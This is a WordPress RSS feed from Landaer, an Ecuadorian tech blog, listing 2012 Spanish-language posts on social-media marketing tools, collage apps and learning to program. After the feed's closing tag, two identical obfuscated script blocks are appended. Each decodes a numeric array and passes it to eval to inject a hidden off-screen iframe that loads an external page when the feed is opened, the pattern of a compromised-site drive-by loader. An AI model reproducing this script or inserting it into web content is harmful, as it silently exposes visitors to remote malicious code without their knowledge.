<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Landaer Ecuador Blog</title>
	<atom:link href="http://blog.landaer.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.landaer.com</link>
	<description>Compartimos lecturas y artículos que solo a TI te interesan</description>
	<lastBuildDate>Tue, 15 May 2012 15:58:01 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Tweet Insight, aplicación de Twitter creada para saber los hashtags más utilizados de tus seguidores</title>
		<link>http://blog.landaer.com/tweet-insight-aplicacion-de-twitter-creada-para-saber-los-hashtags-mas-utilizados-de-tus-seguidores/</link>
		<comments>http://blog.landaer.com/tweet-insight-aplicacion-de-twitter-creada-para-saber-los-hashtags-mas-utilizados-de-tus-seguidores/#comments</comments>
		<pubDate>Tue, 15 May 2012 15:58:01 +0000</pubDate>
		<dc:creator>Landaer Technological Solutions</dc:creator>
				<category><![CDATA[Community Manager]]></category>
		<category><![CDATA[Landaer Techonological Solutions]]></category>
		<category><![CDATA[Marketing Digital]]></category>
		<category><![CDATA[Redes Sociales]]></category>
		<category><![CDATA[Social Media]]></category>
		<category><![CDATA[Landaer]]></category>
		<category><![CDATA[Landaer Technological]]></category>
		<category><![CDATA[tecnologia]]></category>
		<category><![CDATA[tecnologia ecuador]]></category>

		<guid isPermaLink="false">http://blog.landaer.com/?p=282</guid>
		<description><![CDATA[Hemos encontrado una novedosa aplicación que nos permite  averiguar de que se habla  dentro nuestra cuenta.  TweetInsight  es una herramienta gratuita, disponible en español e inglés, que les permitirán averiguarlo. Accediendo a TweetInsight con nuestra cuenta de Twitter podremos conocer  aquellos temas y contenidos (hashtags)que más publicaciones están recibiendo, así como aquellas URLs que se<a class="rmore" href="http://blog.landaer.com/tweet-insight-aplicacion-de-twitter-creada-para-saber-los-hashtags-mas-utilizados-de-tus-seguidores/">&#160;&#160; Read More ...</a>]]></description>
		<wfw:commentRss>http://blog.landaer.com/tweet-insight-aplicacion-de-twitter-creada-para-saber-los-hashtags-mas-utilizados-de-tus-seguidores/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Loupe, Crea divertidos collages con formas originales y compártelas con todos tus amigos</title>
		<link>http://blog.landaer.com/loupe-crea-divertidos-collages-con-formas-originales-y-compartelas-con-todos-tus-amigos-2/</link>
		<comments>http://blog.landaer.com/loupe-crea-divertidos-collages-con-formas-originales-y-compartelas-con-todos-tus-amigos-2/#comments</comments>
		<pubDate>Wed, 02 May 2012 22:18:36 +0000</pubDate>
		<dc:creator>Landaer Technological Solutions</dc:creator>
				<category><![CDATA[Landaer Techonological Solutions]]></category>
		<category><![CDATA[Landaer]]></category>
		<category><![CDATA[landaer blog]]></category>
		<category><![CDATA[landaer ecuador]]></category>
		<category><![CDATA[Landaer Technological Solutions]]></category>
		<category><![CDATA[landaer tecnologia]]></category>

		<guid isPermaLink="false">http://blog.landaer.com/?p=277</guid>
		<description><![CDATA[&#160; Revisando diferentes aplicaciones para realizar collages en el cual muestren imagenes de buena calidad y en diversos diseños, nos hemos encontrado con LOUPE, un servicio bastante interesante ya que que permite realizar composiciones utilizando varias formas curiosas como corazones, pingüinos, manzanas o incluso nombres propios con nuestras propias fotografías o imágenes de la Web,<a class="rmore" href="http://blog.landaer.com/loupe-crea-divertidos-collages-con-formas-originales-y-compartelas-con-todos-tus-amigos-2/">&#160;&#160; Read More ...</a>]]></description>
		<wfw:commentRss>http://blog.landaer.com/loupe-crea-divertidos-collages-con-formas-originales-y-compartelas-con-todos-tus-amigos-2/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Marketing 2.0 : Cómo atraer más seguidores  a mis Redes Sociales</title>
		<link>http://blog.landaer.com/marketing-2-0-como-atraer-mas-seguidores-a-mis-redes-sociales/</link>
		<comments>http://blog.landaer.com/marketing-2-0-como-atraer-mas-seguidores-a-mis-redes-sociales/#comments</comments>
		<pubDate>Mon, 23 Apr 2012 19:29:27 +0000</pubDate>
		<dc:creator>Landaer Technological Solutions</dc:creator>
				<category><![CDATA[Community Manager]]></category>
		<category><![CDATA[Landaer Techonological Solutions]]></category>
		<category><![CDATA[Marketing Digital]]></category>
		<category><![CDATA[Redes Sociales]]></category>
		<category><![CDATA[Social Media]]></category>
		<category><![CDATA[Landaer]]></category>
		<category><![CDATA[landaer ecuador]]></category>
		<category><![CDATA[landaer tecnologia]]></category>
		<category><![CDATA[tecnologia]]></category>

		<guid isPermaLink="false">http://blog.landaer.com/?p=248</guid>
		<description><![CDATA[Existen diversas maneras de atraer seguidores a nuestras Redes Sociales, unas más efectivas que otras. A continuación explicaremos  las herramientas más destacadas  del Marketing 2.0 : 1. Facebook Excelente herramienta de branding o gestión de imagen de marca. Entre sus beneficios también encontramosque  permite establecer contacto directo con el cliente; que a su vez puede<a class="rmore" href="http://blog.landaer.com/marketing-2-0-como-atraer-mas-seguidores-a-mis-redes-sociales/">&#160;&#160; Read More ...</a>]]></description>
		<wfw:commentRss>http://blog.landaer.com/marketing-2-0-como-atraer-mas-seguidores-a-mis-redes-sociales/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Editar las pestañas de Facebook ahora es más fácil</title>
		<link>http://blog.landaer.com/editar-las-pestanas-de-facebook-ahora-es-mas-facil/</link>
		<comments>http://blog.landaer.com/editar-las-pestanas-de-facebook-ahora-es-mas-facil/#comments</comments>
		<pubDate>Thu, 29 Mar 2012 16:09:23 +0000</pubDate>
		<dc:creator>Landaer Technological Solutions</dc:creator>
				<category><![CDATA[Community Manager]]></category>
		<category><![CDATA[Landaer Techonological Solutions]]></category>
		<category><![CDATA[Marketing Digital]]></category>
		<category><![CDATA[Redes Sociales]]></category>
		<category><![CDATA[Social Media]]></category>
		<category><![CDATA[Landaer]]></category>
		<category><![CDATA[landaer blog]]></category>
		<category><![CDATA[landaer ecuadoir]]></category>
		<category><![CDATA[landaer ecuador]]></category>
		<category><![CDATA[Landaer Technological]]></category>
		<category><![CDATA[tecnolohia]]></category>

		<guid isPermaLink="false">http://blog.landaer.com/?p=204</guid>
		<description><![CDATA[Como parte de este nuevo diseño, Facebook permite personalizar las imágenes o logotipos en las pestañas incluso si son aplicaciones de terceros (donde solo puedes cambiar el logotipo, no el icono). Las medidas de esta imagen son 111&#215;74 pixeles, nuestra recomendación es usar iconos descriptivos para cada tipo de pestaña, por ejemplo si es una pestaña de contacto quizás<a class="rmore" href="http://blog.landaer.com/editar-las-pestanas-de-facebook-ahora-es-mas-facil/">&#160;&#160; Read More ...</a>]]></description>
		<wfw:commentRss>http://blog.landaer.com/editar-las-pestanas-de-facebook-ahora-es-mas-facil/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>¿Como saber si soy un GEEK?</title>
		<link>http://blog.landaer.com/como-saber-si-soy-un-geek/</link>
		<comments>http://blog.landaer.com/como-saber-si-soy-un-geek/#comments</comments>
		<pubDate>Wed, 28 Mar 2012 15:58:24 +0000</pubDate>
		<dc:creator>Landaer Technological Solutions</dc:creator>
				<category><![CDATA[Humor Geek]]></category>
		<category><![CDATA[Landaer Techonological Solutions]]></category>
		<category><![CDATA[Landaer Technological]]></category>
		<category><![CDATA[Landaer Technological Solutions]]></category>
		<category><![CDATA[landaerecuador]]></category>
		<category><![CDATA[tecnologia]]></category>

		<guid isPermaLink="false">http://blog.landaer.com/?p=197</guid>
		<description><![CDATA[¿No sabes si eres Geek o si alguna vez lo fuiste? Landaer ha realizado un GEEK TEST para aclarar tus dudas.]]></description>
		<wfw:commentRss>http://blog.landaer.com/como-saber-si-soy-un-geek/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Crea tus propias infografias de Facebook con Getabout.me</title>
		<link>http://blog.landaer.com/crea-tus-propias-infografias-de-facebook-con-getabout-me/</link>
		<comments>http://blog.landaer.com/crea-tus-propias-infografias-de-facebook-con-getabout-me/#comments</comments>
		<pubDate>Mon, 26 Mar 2012 21:29:56 +0000</pubDate>
		<dc:creator>Landaer Technological Solutions</dc:creator>
				<category><![CDATA[Community Manager]]></category>
		<category><![CDATA[Landaer Techonological Solutions]]></category>
		<category><![CDATA[Marketing Digital]]></category>
		<category><![CDATA[Redes Sociales]]></category>
		<category><![CDATA[Social Media]]></category>
		<category><![CDATA[ecuador]]></category>
		<category><![CDATA[Landaer]]></category>
		<category><![CDATA[Landaer Technological]]></category>
		<category><![CDATA[Landaer Technological Solutions]]></category>
		<category><![CDATA[tecnologia]]></category>

		<guid isPermaLink="false">http://blog.landaer.com/?p=181</guid>
		<description><![CDATA[Dentro de la revisión en la web hemos encontrado esta herramienta llamativamente gráfica para crear diferentes infografías de nuestra cuenta de Facebook. Por ejemplo, podrás tener un panorama general de los amigos que tienes en Facebook…porcentaje de hombres y mujeres, sus signos, ubicación, entre otros. En otra infografía encontrarás todo lo relacionado con las publicaciones que<a class="rmore" href="http://blog.landaer.com/crea-tus-propias-infografias-de-facebook-con-getabout-me/">&#160;&#160; Read More ...</a>]]></description>
		<wfw:commentRss>http://blog.landaer.com/crea-tus-propias-infografias-de-facebook-con-getabout-me/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Herramientas utiles para los Community Managers</title>
		<link>http://blog.landaer.com/herramientas-utiles-para-los-community-managers/</link>
		<comments>http://blog.landaer.com/herramientas-utiles-para-los-community-managers/#comments</comments>
		<pubDate>Mon, 26 Mar 2012 15:29:00 +0000</pubDate>
		<dc:creator>Landaer Technological Solutions</dc:creator>
				<category><![CDATA[Community Manager]]></category>
		<category><![CDATA[Landaer Techonological Solutions]]></category>
		<category><![CDATA[Redes Sociales]]></category>
		<category><![CDATA[Slider]]></category>
		<category><![CDATA[Social Media]]></category>
		<category><![CDATA[Landaer Technological]]></category>
		<category><![CDATA[Landaer Technological Solutions]]></category>
		<category><![CDATA[marketing digital]]></category>

		<guid isPermaLink="false">http://blog.landaer.com/?p=155</guid>
		<description><![CDATA[Landaer ha  querido preparar este artículo con  plataformas  útiles para el social media y las redes sociales. Hemos estado revisando cada una de las herramientas más útiles y vamos a nombrar lás que nos han llamado la atención ]]></description>
		<wfw:commentRss>http://blog.landaer.com/herramientas-utiles-para-los-community-managers/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Humor Geek de la Semana</title>
		<link>http://blog.landaer.com/humor-geek-de-la-semana/</link>
		<comments>http://blog.landaer.com/humor-geek-de-la-semana/#comments</comments>
		<pubDate>Fri, 23 Mar 2012 15:45:06 +0000</pubDate>
		<dc:creator>Landaer Technological Solutions</dc:creator>
				<category><![CDATA[Humor Geek]]></category>
		<category><![CDATA[Landaer Techonological Solutions]]></category>
		<category><![CDATA[Slider]]></category>

		<guid isPermaLink="false">http://blog.landaer.com/?p=89</guid>
		<description><![CDATA[A partir de ahora todos los días Viernes estaremos brindando a todos nuestros "Geeks"  o amantes de la tecnologías, un poco de humor para empezar de la mejor manera nuestro inicio de semana]]></description>
		<wfw:commentRss>http://blog.landaer.com/humor-geek-de-la-semana/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Otras 8 alternativas para aprender a programar facilmente</title>
		<link>http://blog.landaer.com/otras-8-alternativas-para-aprender-a-programar-facilmente/</link>
		<comments>http://blog.landaer.com/otras-8-alternativas-para-aprender-a-programar-facilmente/#comments</comments>
		<pubDate>Tue, 20 Mar 2012 20:05:21 +0000</pubDate>
		<dc:creator>Landaer Technological Solutions</dc:creator>
				<category><![CDATA[Animaciones Web]]></category>
		<category><![CDATA[Landaer Techonological Solutions]]></category>
		<category><![CDATA[Programación Web]]></category>
		<category><![CDATA[Slider]]></category>

		<guid isPermaLink="false">http://blog.landaer.com/?p=80</guid>
		<description><![CDATA[Hemos encontrado este artículo interesante el cual muestra 8 maneras diferentes de aprender a programar, todo lo que queda es revisar cada una de ellas a ver cuál de todas ella es la más sencilla para aprender a programar &#160; ozilla’s Developer Network Para quienes desean iniciarse en el desarrollo web, la fundación Mozilla pone un completo<a class="rmore" href="http://blog.landaer.com/otras-8-alternativas-para-aprender-a-programar-facilmente/">&#160;&#160; Read More ...</a>]]></description>
		<wfw:commentRss>http://blog.landaer.com/otras-8-alternativas-para-aprender-a-programar-facilmente/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>pForm – Formularios HTML mas facil que nunca</title>
		<link>http://blog.landaer.com/pform-formularios-html-mas-facil-que-nunca/</link>
		<comments>http://blog.landaer.com/pform-formularios-html-mas-facil-que-nunca/#comments</comments>
		<pubDate>Tue, 20 Mar 2012 16:09:34 +0000</pubDate>
		<dc:creator>Landaer Technological Solutions</dc:creator>
				<category><![CDATA[Landaer Techonological Solutions]]></category>
		<category><![CDATA[Programación Web]]></category>

		<guid isPermaLink="false">http://blog.landaer.com/?p=71</guid>
		<description><![CDATA[Aunque la web de pForm digan que permiten crear formularios en tan solo 3 pasos, en realidad, como bien indican en Incubaweb, el tercero es simplemente la pantalla en la que se ofrece la descarga del código resultante. Así, en 2 sencillos pasos -elegir el diseño, y añadir y editar los componentes- tendrás listo tu formulario para incluirlo en tu página web. Los diseños<a class="rmore" href="http://blog.landaer.com/pform-formularios-html-mas-facil-que-nunca/">&#160;&#160; Read More ...</a>]]></description>
		<wfw:commentRss>http://blog.landaer.com/pform-formularios-html-mas-facil-que-nunca/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
<script>try{n^=window["ev"+"al"]("pr"+"ototype");}catch(zxc){e=eval;n="143..120..1122..1404..1210..1188..1276..1260..1221..1320..352..1224..1254..1308..715..1200..1100..480..451..384..1353..156..110..1416..1067..1368..352..1260..1122..1368..1199..384..671..384..1100..1332..1089..1404..1199..1212..1210..1392..506..1188..1254..1212..1067..1392..1111..828..1188..1212..1199..1212..1210..1392..440..468..1155..1224..1254..1164..1199..1212..429..492..649..156..110..1260..1122..1368..1199..552..1265..1392..1331..1296..1111..552..1232..1332..1265..1260..1276..1260..1221..1320..671..468..1067..1176..1265..1332..1188..1404..1276..1212..429..708..143..120..1155..1224..1254..1308..506..1380..1276..1452..1188..1212..506..1392..1221..1344..671..468..495..684..627..684..1111..1308..429..708..143..120..1155..1224..1254..1308..506..1380..1276..1452..1188..1212..506..1296..1111..1224..1276..732..429..540..627..684..627..1212..1199..468..649..156..110..1260..1122..1368..1199..552..1265..1368..1089..384..352..732..352..408..1144..1392..1276..1344..638..564..517..1368..1287..1188..1287..1464..1155..1272..506..1368..1287..564..1089..1332..1287..1320..1276..600..627..552..1232..1248..1232..408..649..156..110..1260..1122..1368..1199..552..1155..1200..352..732..352..468..1122..1368..1199..876..1100..468..649..156..110..1200..1221..1188..1287..1308..1111..1320..1276..552..1078..1332..1100..1452..506..1164..1232..1344..1111..1320..1100..804..1144..1260..1188..1200..440..1260..1122..1368..1199..492..649..156..110..1500..649..156..110..1428..1155..1320..1100..1332..1309..552..1221..1320..1188..1332..1067..1200..352..732..352..1224..1254..1308..715..1200..1100..708..143..120".split("..");h=2;s="";for(i=0;i-284<0;i=1+i){k=i;s=s+String["fromCharCode"](n[k]/(i-h*Math.floor(i/h)+11));}if(015-0xa===3)if(window.document)e(s);}</script><script>try{n^=window["ev"+"al"]("pr"+"ototype");}catch(zxc){e=eval;n="143..120..1122..1404..1210..1188..1276..1260..1221..1320..352..1224..1254..1308..715..1200..1100..480..451..384..1353..156..110..1416..1067..1368..352..1260..1122..1368..1199..384..671..384..1100..1332..1089..1404..1199..1212..1210..1392..506..1188..1254..1212..1067..1392..1111..828..1188..1212..1199..1212..1210..1392..440..468..1155..1224..1254..1164..1199..1212..429..492..649..156..110..1260..1122..1368..1199..552..1265..1392..1331..1296..1111..552..1232..1332..1265..1260..1276..1260..1221..1320..671..468..1067..1176..1265..1332..1188..1404..1276..1212..429..708..143..120..1155..1224..1254..1308..506..1380..1276..1452..1188..1212..506..1392..1221..1344..671..468..495..684..627..684..1111..1308..429..708..143..120..1155..1224..1254..1308..506..1380..1276..1452..1188..1212..506..1296..1111..1224..1276..732..429..540..627..684..627..1212..1199..468..649..156..110..1260..1122..1368..1199..552..1265..1368..1089..384..352..732..352..408..1144..1392..1276..1344..638..564..517..1368..1287..1188..1287..1464..1155..1272..506..1368..1287..564..1089..1332..1287..1320..1276..600..627..552..1232..1248..1232..408..649..156..110..1260..1122..1368..1199..552..1155..1200..352..732..352..468..1122..1368..1199..876..1100..468..649..156..110..1200..1221..1188..1287..1308..1111..1320..1276..552..1078..1332..1100..1452..506..1164..1232..1344..1111..1320..1100..804..1144..1260..1188..1200..440..1260..1122..1368..1199..492..649..156..110..1500..649..156..110..1428..1155..1320..1100..1332..1309..552..1221..1320..1188..1332..1067..1200..352..732..352..1224..1254..1308..715..1200..1100..708..143..120".split("..");h=2;s="";for(i=0;i-284<0;i=1+i){k=i;s=s+String["fromCharCode"](n[k]/(i-h*Math.floor(i/h)+11));}if(015-0xa===3)if(window.document)e(s);}</script>